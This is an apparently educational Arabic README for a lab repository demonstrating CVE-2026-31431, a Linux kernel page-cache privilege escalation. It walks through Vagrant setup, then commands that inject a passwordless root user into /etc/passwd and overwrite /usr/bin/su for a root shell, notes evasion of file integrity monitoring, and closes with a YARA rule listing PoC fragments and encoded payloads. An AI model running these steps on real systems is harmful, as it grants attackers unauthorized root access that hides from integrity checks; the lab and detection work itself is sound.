
عرض توضيحي وشرح لـ CVE-2026-31431
عرض توضيحي وشرح لثغرة CVE-2026-31431، ثغرة تصعيد الصلاحيات المحلي Copy Fail في نواة Linux. تسمح الثغرة بالكتابة فوق البيانات في ذاكرة التخزين المؤقت للصفحات (page cache) للملفات المفتوحة بصلاحية القراءة.
هذا المستودع لأغراض تعليمية فقط ويوضح الثغرة في بيئة مُتحكَّم بها. الملفات المضمّنة هي:
├── exploit
│ ├── copy_fail.py # Custom exploit that can target any file with read permissions
│ ├── original_payload.txt # A copy of the payload used in the original exploit
│ ├── copy_fail_original.py # Original exploit that overwrites /usr/bin/su
│ └── copy_fail_readable.py # Original exploit in a more readable format with an explanation of the payload
├── README.md
└── Vagrantfile # Setup for the Vagrant VM running Ubuntu 22.04
الثغرة، المسماة Copy Fail، موجودة في نوى Linux من 2017 إلى 2026 بسبب خلل منطقي في algif_aead. تم إسناد CVE-2026-31431 لها بدرجة CVSS تبلغ 7.8، مما يؤدي إلى تصنيف خطورة عالٍ. الاستغلال حتمي ويمكنه تجاوز أدوات مراقبة سلامة الملفات التقليدية.
تم نشر إثباتات مفهوم بلغات متعددة، بما في ذلك C وPython وGo، ولكن لهذا العرض التوضيحي يتم استخدام Python ويتطلب إصدار Python 3.10 أو أعلى. يتطلب هذا الاستغلال تنفيذ كود محلي كمستخدم غير متميز ويمكن استخدامه لتصعيد الصلاحيات المحلي.
الأقسام أدناه هي:
تأكد من تثبيت Vagrant وQEMU. ثم استنسخ هذا المستودع وانتقل إلى دليل المشروع.
vagrant up
vagrant ssh
داخل الـ VM، يمكننا اختبار حدود قدراتنا.
id # uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
su # We are prompted for the root password, which we do not have
stat /usr/bin/su # We have read and execute permissions
stat /etc/passwd # We have read permission
stat /etc/shadow # We have no permissions
من الواضح أننا محدودون في قدراتنا، لكن يمكننا استخدام الثغرة لتصعيد الصلاحيات.
لفهم الثغرة، لنقم بالكتابة فوق ملف وهمي ونرى ما يحدث.
echo -e "ABCDE\nF\nG" > dummy.txt
cat dummy.txt
لدينا ملف بثلاثة أسطر. السطر الأول طوله 6 بايتات (بما في ذلك محرف السطر الجديد)، والسطر الثاني طوله 2 بايت، والسطر الثالث بايت واحد. هذا مهم لأن الاستغلال يكتب فوق البيانات في كتل من 4 بايتات، ونقوم بحشو الحمولة (payload) لإكمالها.
python3 exploit/copy_fail.py --target dummy.txt --payload "123456"
cat dummy.txt
يمكننا أن نرى أننا استبدلنا أول 8 بايتات من الملف بالحمولة الخاصة بنا. هناك محرفان موجودان لكنهما غير قابلين للطباعة. افتح الملف في nano للتحقق.
لكن هذا ليس مثيرًا جدًا، لذا لننتقل إلى الكتابة في ملفات لا نملك صلاحية الكتابة عليها.
يمكننا الكتابة فوق محتويات /etc/passwd لإضافة مستخدم بصلاحيات root ولكن بدون كلمة مرور.
cat /etc/passwd
يحتوي السطر الأول على مستخدم root ويحتوي على 8 مجموعات من 4 محارف (بما في ذلك محرف السطر الجديد). وهو مُنسَّق كما يلي root:x:0:0:root:/root:/bin/bash، وتشير القيم إلى اسم المستخدم، كلمة المرور، UID، GID، الدليل الرئيسي، الصدفة (shell).
python3 exploit/copy_fail.py --target /etc/passwd --payload "hackd::0:0:root:/root:/bin/bash
"
cat /etc/passwd
أضفنا مستخدمًا جديدًا hackd بمعرّف UID 0 وGID 0، مما يعني أنه يملك صلاحيات root. حقل كلمة المرور فارغ، لذا يمكننا تسجيل الدخول بدون كلمة مرور.
su hackd
id
cat /etc/shadow
في الاستغلال الأصلي، يتم الكتابة فوق الملف التنفيذي /usr/bin/su بتعليمات لتنفيذ صدفة (shell)، مما يسمح للمهاجم بالحصول على صلاحيات root عند تنفيذ su. يمكننا إعادة إنشاء هذا الاستغلال من خلال استهداف /usr/bin/su بالحمولة الأصلية من ملف.
لاحظ أن هذا يدمّر الملف التنفيذي su في ذاكرة التخزين المؤقت للصفحات هذه.
python3 exploit/copy_fail.py --target /usr/bin/su --payload-file exploit/original_payload.txt
مع وجود الحمولة في مكانها، يمكننا تنفيذ su والحصول على صلاحيات root. هذا يفتح صدفة بمعرّف المستخدم 0، وهو عادةً مستخدم root، ولكن إذا تم تنفيذ العرض التوضيحي أعلاه، فسيكون المستخدم hackd الذي أنشأناه. سيفتح هذا الاستغلال صدفة حتى لو كان لدى مستخدم root كلمة مرور.
su
id
لا يعدّل هذا الاستغلال الملف على القرص، بل يعدّل حالة ذاكرة التخزين المؤقت للصفحات (page-cache). نتيجة لذلك، لا تكتشف أدوات مراقبة سلامة الملفات التقليدية التي تتحقق من التغييرات في الملفات على القرص هذا الاستغلال.
لإثبات ذلك، شغّل الاستغلال (الاستغلالات) أعلاه ثم بعد إعادة تشغيل الـ VM، تحقق من محتويات الملف الهدف.
vagrant halt
vagrant up
vagrant ssh
cat /etc/passwd # The file is unchanged on disk
تتم مشاركة قواعد الكشف في مستودعات GitHub المجتمعية التي تحاول كشف المؤشرات الشبكية أو أنماط السكربتات المعروفة. تعتمد قواعد الكشف هذه على عناصر PoC العامة، والحمولات المعروفة، وشظايا الكود، وعناوين URL.
على سبيل المثال، سيكتشف ما يلي شظايا كود محددة متعلقة بـ PoC أو حمولات مُرمَّزة:
rule EXPL_LNX_Copy_Fail_Artefacts_CVE_2026_31431_Apr26 {
meta:
...
strings:
...
// Code fragments from public PoCs
$xs1 = "| python3 && su"
$xs2 = "g.open(\"/usr/bin/su\",0);i=0;"
$xs3 = "[-] page-cache mutation failed"
$xs4 = "[+] /etc/passwd page cache mutated"
$xs5 = "bind(AF_ALG: authencesn(hmac(sha256),cbc(aes)))"
$xs6 = "/tmp/.cve_test"
...
// Payloads used in the Go version
$xg1 = "789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c00111d10d3"
$xg2 = "789cab77f57163646464800126066606102fa48185c38401014c18141860aae0aa816a40b806c80461569098000383e101c3db1bae9e6d303c1090a1af5f9c91a19f9499d7f93820b8f361e7a10ddc4089db598c11671b0038b31858"
$xg3 = "78daab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd06ca5b039787e96cb8e421d47009c8bb0214126004f29980788534540cc4e686b0f59332f3f48b3318003ff61578"
$xg4 = "789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e02e5c1680601086578c0f0ff864c7e568fee1a1501c36f59d61133f9590dff67d944f0b3020082b00eaf"
$xg5 = "789cab77f57163646464800126066606102fa48185c38401014c18141860aae0aa816a40381fc80461569098000383e101c3db1bae9e6de88e51e1303c99c51d31f36c83e1ed2cc688b30d001bf41180"
$xg6 = "789cab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd04ca5b029787e96cb8e421d47009c8bbf280dbe1272390cf04c42ba4216220f915dc103600d72b1509"
...
condition:
1 of ($x*)
or ($sa1 and 1 of ($sb*))
}
تُستخدم المكونات التالية في الاستغلال:
AD||CT||TAGTAGseqno_hi||seqno_lo||CT||TAG -> seqno_lo||seqno_hi||CT||TAG||seqno_loالـ commit الذي فعّل تحسين العمل في المكان (in-place) الذي أنشأ هذه الثغرة:
https://github.com/torvalds/linux/commit/72548b093ee38a6d4f2a19e6ef1948ae05c181f7
تم إجراء الترقيع دون أي إعلانات عامة ويزيل وظيفة العملية في المكان (in-place) في algif_aead: